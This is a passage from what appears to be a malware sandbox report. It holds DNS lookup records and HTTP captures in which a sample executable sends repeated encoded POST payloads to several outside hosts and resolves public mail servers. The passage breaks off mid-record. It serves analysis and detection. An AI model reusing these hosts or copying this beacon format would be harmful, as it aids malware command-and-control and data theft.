Oct 25, 2024 11:18:39.563961029 CEST	1.1.1.1	192.168.2.5	0x852a	No error (0)	www.udesign.biz	udesign.biz		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:43.843086958 CEST	1.1.1.1	192.168.2.5	0xa762	Name error (3)	www.mobilnic.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:44.449317932 CEST	1.1.1.1	192.168.2.5	0xfb14	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:44.955557108 CEST	1.1.1.1	192.168.2.5	0xec00	No error (0)	smtp.mail.yahoo.com	smtp.mail.global.gm0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:44.955557108 CEST	1.1.1.1	192.168.2.5	0xec00	No error (0)	smtp.mail.global.gm0.yahoodns.net		66.218.88.167	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:46.319952011 CEST	1.1.1.1	192.168.2.5	0x3180	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:46.364973068 CEST	1.1.1.1	192.168.2.5	0x49c9	No error (0)	smtp.sbcglobal.yahoo.com	smtp-sbc.mail.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:46.364973068 CEST	1.1.1.1	192.168.2.5	0x49c9	No error (0)	smtp-sbc.mail.yahoo.com	smtp1.sbc.mail.am0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:46.364973068 CEST	1.1.1.1	192.168.2.5	0x49c9	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.218.88.163	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:48.653304100 CEST	1.1.1.1	192.168.2.5	0x2d9c	No error (0)	www.udesign.biz	udesign.biz		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:48.913507938 CEST	1.1.1.1	192.168.2.5	0x47f7	Name error (3)	www.valselit.com	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:50.897142887 CEST	1.1.1.1	192.168.2.5	0x1666	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:53.682946920 CEST	1.1.1.1	192.168.2.5	0xced5	Name error (3)	www.mobilnic.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:53.768400908 CEST	1.1.1.1	192.168.2.5	0x990e	No error (0)	smtp.live.com	a-0010.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:56.514147043 CEST	1.1.1.1	192.168.2.5	0xead5	Name error (3)	www.valselit.com	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:58.856678963 CEST	1.1.1.1	192.168.2.5	0x497a	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:58.994652987 CEST	1.1.1.1	192.168.2.5	0x754f	No error (0)	gmail-smtp-in.l.google.com		74.125.133.27	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:19:03.262332916 CEST	1.1.1.1	192.168.2.5	0x22b5	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:19:05.073311090 CEST	1.1.1.1	192.168.2.5	0x43b8	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:19:07.145601034 CEST	1.1.1.1	192.168.2.5	0x4402	No error (0)	www.udesign.biz	udesign.biz		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:19:11.163175106 CEST	1.1.1.1	192.168.2.5	0x4d20	Name error (3)	www.mobilnic.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:19:12.234865904 CEST	1.1.1.1	192.168.2.5	0xcf2e	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49761	137.118.26.67	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:31.179929018 CEST	765	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 536 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fnw.us Cache-Control: no-cache Data Raw: 32 78 65 32 6c 41 36 75 6a 76 58 78 51 77 4f 51 6d 56 35 6c 6a 58 45 61 48 76 34 4f 75 61 4b 45 49 69 39 32 51 67 64 77 77 68 69 4c 4a 50 74 2b 37 2b 38 65 61 6d 6a 51 4a 47 46 66 39 6d 4a 2b 4f 2f 6a 56 2b 6e 66 53 55 43 79 76 42 6b 47 78 71 71 31 2f 33 33 63 6b 6f 66 6d 61 6a 77 4d 69 7a 4c 38 59 52 43 52 48 45 48 32 4b 4d 41 6b 35 58 73 2f 53 5a 75 61 68 35 68 38 35 57 66 54 66 4f 56 6f 5a 56 61 33 6e 42 61 6a 6b 41 56 69 47 63 48 6c 4c 38 46 44 57 65 78 55 43 77 77 38 6a 42 58 54 64 74 42 44 4d 54 6f 75 42 6b 6e 69 51 6b 72 76 69 2f 30 46 36 51 55 35 7a 75 44 56 33 50 76 6e 71 35 75 78 30 69 6f 5a 33 2b 41 72 47 70 56 58 43 4a 7a 7a 4d 57 61 70 55 64 49 52 31 33 48 30 35 38 31 6f 2b 55 6e 4e 46 46 67 55 54 38 58 59 41 75 56 55 51 2b 47 75 42 4c 7a 58 61 6c 79 41 49 49 47 53 79 6c 31 41 68 64 6d 64 67 44 74 62 72 45 4f 44 31 5a 38 73 44 45 4d 5a 63 76 31 51 51 31 72 52 59 4a 42 49 72 55 62 42 6d 6d 32 72 53 71 45 6f 35 67 30 79 6e 35 70 6f 63 55 62 54 64 30 6a 35 56 35 45 6b 6f 53 48 54 73 6d 73 [TRUNCATED] Data Ascii: 2xe2lA6ujvXxQwOQmV5ljXEaHv4OuaKEIi92QgdwwhiLJPt+7+8eamjQJGFf9mJ+O/jV+nfSUCyvBkGxqq1/33ckofmajwMizL8YRCRHEH2KMAk5Xs/SZuah5h85WfTfOVoZVa3nBajkAViGcHlL8FDWexUCww8jBXTdtBDMTouBkniQkrvi/0F6QU5zuDV3Pvnq5ux0ioZ3+ArGpVXCJzzMWapUdIR13H0581o+UnNFFgUT8XYAuVUQ+GuBLzXalyAIIGSyl1AhdmdgDtbrEOD1Z8sDEMZcv1QQ1rRYJBIrUbBmm2rSqEo5g0yn5pocUbTd0j5V5EkoSHTsmsdf0bqqXJfFdggz9S9ni7LQfaz2tax/dZ7BINU0uah1yFyTuG0L28vktL/1ZdHtmxahRARbMcbkOXViGCkY3MzaOzA8CL9WBfRycUxwuy2a+hzmPVIXTuYdl+NdKABUK/TS+bCu/ufPlBCpvFLNz6t2DQBhaFgQd7IEeSa5ajBrJFsOL1NQEIlvIHaQiwvXteymV6lx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49760	192.124.249.20	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:31.179977894 CEST	792	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.dgmna.com Cache-Control: no-cache Data Raw: 44 37 79 33 47 32 6b 51 6b 2f 56 6c 52 6b 32 42 4f 4a 36 78 35 34 4b 34 51 30 55 48 39 76 72 7a 72 66 6d 31 36 61 2b 70 2b 42 62 4b 68 6d 59 4c 58 65 44 63 47 38 2b 4f 38 68 4c 53 53 41 41 6c 43 76 43 7a 32 56 2b 69 47 4a 5a 42 4e 65 30 48 4b 66 63 52 31 53 31 54 30 79 4a 6b 57 67 45 35 47 42 4a 32 55 63 65 6e 55 75 49 41 34 41 45 2b 45 32 73 44 6b 76 68 6c 5a 30 62 34 70 39 6b 46 35 51 41 43 6e 4c 62 51 41 57 72 4b 78 69 4c 67 7a 65 69 68 68 53 2f 36 61 73 39 75 66 58 4b 71 73 6b 4e 78 52 42 52 38 6c 72 5a 75 2b 53 61 54 53 55 41 35 61 61 63 72 55 35 73 31 42 2f 57 73 57 74 4f 39 33 61 62 69 42 54 57 65 43 39 34 6d 65 46 5a 37 33 68 4c 72 31 51 42 6a 6e 48 56 71 48 45 59 64 41 49 30 39 78 62 4a 65 55 67 74 46 74 33 6b 69 4c 4e 56 6b 33 48 72 4d 52 72 46 73 7a 43 6d 2f 67 2f 4c 51 48 44 61 2f 43 31 6f 32 2f 48 4c 65 59 6d 4f 47 65 4e 75 66 35 58 58 51 45 36 4d 70 72 79 4f 4b 43 70 51 47 6c 39 6e 4c 67 4b 66 74 72 30 76 76 66 45 46 45 75 32 56 36 34 69 49 6b 64 79 78 34 43 44 59 58 70 55 59 56 32 49 [TRUNCATED] Data Ascii: D7y3G2kQk/VlRk2BOJ6x54K4Q0UH9vrzrfm16a+p+BbKhmYLXeDcG8+O8hLSSAAlCvCz2V+iGJZBNe0HKfcR1S1T0yJkWgE5GBJ2UcenUuIA4AE+E2sDkvhlZ0b4p9kF5QACnLbQAWrKxiLgzeihhS/6as9ufXKqskNxRBR8lrZu+SaTSUA5aacrU5s1B/WsWtO93abiBTWeC94meFZ73hLr1QBjnHVqHEYdAI09xbJeUgtFt3kiLNVk3HrMRrFszCm/g/LQHDa/C1o2/HLeYmOGeNuf5XXQE6MpryOKCpQGl9nLgKftr0vvfEFEu2V64iIkdyx4CDYXpUYV2IxImdXBMa5koRteBbfNXWYxdOXQUGkBD+u0ld4ZQ9ox7Wvz2q9PWYkY+YsKmCN5z43FHntUx18zX3rPEWEGHRO+W/2/eQZHODPe9540e8XzHmXGWcI/O5NaPcyATY1Gb02K8RfOLdaRtBXvKgCFbkROuSAPeu73MECIDzh7KaSjybdWJROOlq2ldFm1YPFju66ixJVaP2GUMST1VPgDOl3extmm6PQc
Oct 25, 2024 11:17:31.843849897 CEST	384	IN	HTTP/1.1 301 Moved Permanently Server: Sucuri/Cloudproxy Date: Fri, 25 Oct 2024 09:17:31 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive X-Sucuri-ID: 20020 Location: https://www.dgmna.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:31.863945007 CEST	792	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.dgmna.com Cache-Control: no-cache Data Raw: 44 37 79 33 47 32 6b 51 6b 2f 56 6c 52 6b 32 42 4f 4a 36 78 35 34 4b 34 51 30 55 48 39 76 72 7a 72 66 6d 31 36 61 2b 70 2b 42 62 4b 68 6d 59 4c 58 65 44 63 47 38 2b 4f 38 68 4c 53 53 41 41 6c 43 76 43 7a 32 56 2b 69 47 4a 5a 42 4e 65 30 48 4b 66 63 52 31 53 31 54 30 79 4a 6b 57 67 45 35 47 42 4a 32 55 63 65 6e 55 75 49 41 34 41 45 2b 45 32 73 44 6b 76 68 6c 5a 30 62 34 70 39 6b 46 35 51 41 43 6e 4c 62 51 41 57 72 4b 78 69 4c 67 7a 65 69 68 68 53 2f 36 61 73 39 75 66 58 4b 71 73 6b 4e 78 52 42 52 38 6c 72 5a 75 2b 53 61 54 53 55 41 35 61 61 63 72 55 35 73 31 42 2f 57 73 57 74 4f 39 33 61 62 69 42 54 57 65 43 39 34 6d 65 46 5a 37 33 68 4c 72 31 51 42 6a 6e 48 56 71 48 45 59 64 41 49 30 39 78 62 4a 65 55 67 74 46 74 33 6b 69 4c 4e 56 6b 33 48 72 4d 52 72 46 73 7a 43 6d 2f 67 2f 4c 51 48 44 61 2f 43 31 6f 32 2f 48 4c 65 59 6d 4f 47 65 4e 75 66 35 58 58 51 45 36 4d 70 72 79 4f 4b 43 70 51 47 6c 39 6e 4c 67 4b 66 74 72 30 76 76 66 45 46 45 75 32 56 36 34 69 49 6b 64 79 78 34 43 44 59 58 70 55 59 56 32 49 [TRUNCATED] Data Ascii: D7y3G2kQk/VlRk2BOJ6x54K4Q0UH9vrzrfm16a+p+BbKhmYLXeDcG8+O8hLSSAAlCvCz2V+iGJZBNe0HKfcR1S1T0yJkWgE5GBJ2UcenUuIA4AE+E2sDkvhlZ0b4p9kF5QACnLbQAWrKxiLgzeihhS/6as9ufXKqskNxRBR8lrZu+SaTSUA5aacrU5s1B/WsWtO93abiBTWeC94meFZ73hLr1QBjnHVqHEYdAI09xbJeUgtFt3kiLNVk3HrMRrFszCm/g/LQHDa/C1o2/HLeYmOGeNuf5XXQE6MpryOKCpQGl9nLgKftr0vvfEFEu2V64iIkdyx4CDYXpUYV2IxImdXBMa5koRteBbfNXWYxdOXQUGkBD+u0ld4ZQ9ox7Wvz2q9PWYkY+YsKmCN5z43FHntUx18zX3rPEWEGHRO+W/2/eQZHODPe9540e8XzHmXGWcI/O5NaPcyATY1Gb02K8RfOLdaRtBXvKgCFbkROuSAPeu73MECIDzh7KaSjybdWJROOlq2ldFm1YPFju66ixJVaP2GUMST1VPgDOl3extmm6PQc
Oct 25, 2024 11:17:32.010248899 CEST	384	IN	HTTP/1.1 301 Moved Permanently Server: Sucuri/Cloudproxy Date: Fri, 25 Oct 2024 09:17:31 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive X-Sucuri-ID: 20020 Location: https://www.dgmna.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49762	104.21.23.9	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:31.192585945 CEST	826	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jenco.co.uk Cache-Control: no-cache Data Raw: 79 75 65 7a 48 6a 51 70 6b 2f 55 55 77 42 50 63 6a 38 4e 6d 58 59 63 4f 70 66 63 73 6b 75 50 4c 71 44 45 56 32 2f 6f 57 39 49 53 69 49 75 69 71 75 4e 58 32 5a 4a 4d 41 61 73 6a 4c 33 70 39 47 52 79 75 65 54 4b 73 7a 65 52 76 51 75 47 75 68 72 75 67 6d 30 53 68 41 67 4b 2f 74 4a 6d 42 30 36 6b 31 73 74 4f 69 6a 58 30 49 6b 45 2b 42 34 70 6e 70 6e 33 44 62 77 66 31 2b 4c 58 52 35 58 31 6e 7a 57 74 52 48 2f 33 2f 35 41 64 77 54 37 44 39 79 50 64 4e 67 64 57 70 74 30 33 61 79 64 48 5a 4f 71 51 4d 2b 4e 38 55 73 47 52 4a 74 54 71 66 54 4a 50 36 52 68 53 5a 58 42 36 74 38 31 43 46 69 41 79 65 59 7a 73 42 52 7a 79 63 4d 51 5a 4e 6a 33 52 6a 4b 4a 4f 61 31 4f 49 4a 45 7a 56 53 35 64 63 35 6d 7a 43 76 49 5a 48 30 67 59 30 64 71 4e 2b 31 2f 4b 51 69 7a 72 35 58 55 69 75 6b 6e 47 41 6d 45 79 42 37 54 7a 68 50 2f 39 6e 68 45 42 6a 45 4c 75 57 67 72 37 38 5a 79 48 64 47 53 48 6c 6f 69 35 77 39 5a 64 4c 79 66 64 52 39 4d 77 42 4a 33 6f 43 30 31 59 77 4f 61 54 4e 61 72 46 39 71 79 71 51 4f 70 6f 34 4e 6c 47 6c 6e [TRUNCATED] Data Ascii: yuezHjQpk/UUwBPcj8NmXYcOpfcskuPLqDEV2/oW9ISiIuiquNX2ZJMAasjL3p9GRyueTKszeRvQuGuhrugm0ShAgK/tJmB06k1stOijX0IkE+B4pnpn3Dbwf1+LXR5X1nzWtRH/3/5AdwT7D9yPdNgdWpt03aydHZOqQM+N8UsGRJtTqfTJP6RhSZXB6t81CFiAyeYzsBRzycMQZNj3RjKJOa1OIJEzVS5dc5mzCvIZH0gY0dqN+1/KQizr5XUiuknGAmEyB7TzhP/9nhEBjELuWgr78ZyHdGSHloi5w9ZdLyfdR9MwBJ3oC01YwOaTNarF9qyqQOpo4NlGln4mznFOn5mBAGjplxokLL6BHMRZB06UyylhKltbBGENChu9cwifqJRAB3JQe2sWa8PMVe6XtEp7/3Wdk7oFEMg19uEY5c0PgDzkFgLiOOZe2ib3MpXoNJV+aLafpROE9aLT9XQ6+lCH8Tci/wfv8iNA8RQ0XCT+kmr8jMSi5TRF7TDLYoalLTQ2oGKBWpRROCtdIPREYMOkJi4MdbeyWcQ+QkDC03A0Aq9uUI03MWor6s+JkhrYtvFN4/XZ6w==
Oct 25, 2024 11:17:31.843775034 CEST	997	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:31 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:31 GMT Location: https://www.jenco.co.uk/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=twq8xd05%2Frb7MN%2BMGYf53CD1UT0KqAHIJV5M3XGdUYHtVdUfvzfm0f2bACruid3Llfpy6aZvdpigArp9%2FZof3Psr38dF4SKs7I0ve1V%2FziIXhNzWpKqktdwDMyjZAYwKGLI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d315c876c43-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1161&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=826&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:17:31.863575935 CEST	826	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jenco.co.uk Cache-Control: no-cache Data Raw: 79 75 65 7a 48 6a 51 70 6b 2f 55 55 77 42 50 63 6a 38 4e 6d 58 59 63 4f 70 66 63 73 6b 75 50 4c 71 44 45 56 32 2f 6f 57 39 49 53 69 49 75 69 71 75 4e 58 32 5a 4a 4d 41 61 73 6a 4c 33 70 39 47 52 79 75 65 54 4b 73 7a 65 52 76 51 75 47 75 68 72 75 67 6d 30 53 68 41 67 4b 2f 74 4a 6d 42 30 36 6b 31 73 74 4f 69 6a 58 30 49 6b 45 2b 42 34 70 6e 70 6e 33 44 62 77 66 31 2b 4c 58 52 35 58 31 6e 7a 57 74 52 48 2f 33 2f 35 41 64 77 54 37 44 39 79 50 64 4e 67 64 57 70 74 30 33 61 79 64 48 5a 4f 71 51 4d 2b 4e 38 55 73 47 52 4a 74 54 71 66 54 4a 50 36 52 68 53 5a 58 42 36 74 38 31 43 46 69 41 79 65 59 7a 73 42 52 7a 79 63 4d 51 5a 4e 6a 33 52 6a 4b 4a 4f 61 31 4f 49 4a 45 7a 56 53 35 64 63 35 6d 7a 43 76 49 5a 48 30 67 59 30 64 71 4e 2b 31 2f 4b 51 69 7a 72 35 58 55 69 75 6b 6e 47 41 6d 45 79 42 37 54 7a 68 50 2f 39 6e 68 45 42 6a 45 4c 75 57 67 72 37 38 5a 79 48 64 47 53 48 6c 6f 69 35 77 39 5a 64 4c 79 66 64 52 39 4d 77 42 4a 33 6f 43 30 31 59 77 4f 61 54 4e 61 72 46 39 71 79 71 51 4f 70 6f 34 4e 6c 47 6c 6e [TRUNCATED] Data Ascii: yuezHjQpk/UUwBPcj8NmXYcOpfcskuPLqDEV2/oW9ISiIuiquNX2ZJMAasjL3p9GRyueTKszeRvQuGuhrugm0ShAgK/tJmB06k1stOijX0IkE+B4pnpn3Dbwf1+LXR5X1nzWtRH/3/5AdwT7D9yPdNgdWpt03aydHZOqQM+N8UsGRJtTqfTJP6RhSZXB6t81CFiAyeYzsBRzycMQZNj3RjKJOa1OIJEzVS5dc5mzCvIZH0gY0dqN+1/KQizr5XUiuknGAmEyB7TzhP/9nhEBjELuWgr78ZyHdGSHloi5w9ZdLyfdR9MwBJ3oC01YwOaTNarF9qyqQOpo4NlGln4mznFOn5mBAGjplxokLL6BHMRZB06UyylhKltbBGENChu9cwifqJRAB3JQe2sWa8PMVe6XtEp7/3Wdk7oFEMg19uEY5c0PgDzkFgLiOOZe2ib3MpXoNJV+aLafpROE9aLT9XQ6+lCH8Tci/wfv8iNA8RQ0XCT+kmr8jMSi5TRF7TDLYoalLTQ2oGKBWpRROCtdIPREYMOkJi4MdbeyWcQ+QkDC03A0Aq9uUI03MWor6s+JkhrYtvFN4/XZ6w==
Oct 25, 2024 11:17:31.993900061 CEST	1006	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:31 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:31 GMT Location: https://www.jenco.co.uk/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cC%2FsNywtYnkjhZQm%2Fdl8VGzzjNxFmoPbdiq6AWSv4ZSvU1pT7mUXd9V2OdF9LnhLLqi%2Bp4vT1gToqd1RDHFdKmr4953nA6YeAzQKJ5uYEl%2FaKHmXaxuIhspmGO1qfWIAvyg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d328d766c43-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1165&sent=2&recv=5&lost=0&retrans=0&sent_bytes=997&recv_bytes=1652&delivery_rate=1213746&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49763	188.114.97.3	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:31.217502117 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 [TRUNCATED] Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Oct 25, 2024 11:17:31.948370934 CEST	944	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:17:31 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AhIO81UaGl%2BdfEmVmPW4KiVD%2BjctFwjFWdVNmJiS2MQdb%2FL1NkOtk9i5PsFVQlaaqrfV%2FgIQBFGKuI7iLYSUBCx3RI6aDfmpH0yGcNWWw09%2B%2BIRNSWQlyx%2BniG5SbLPjlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 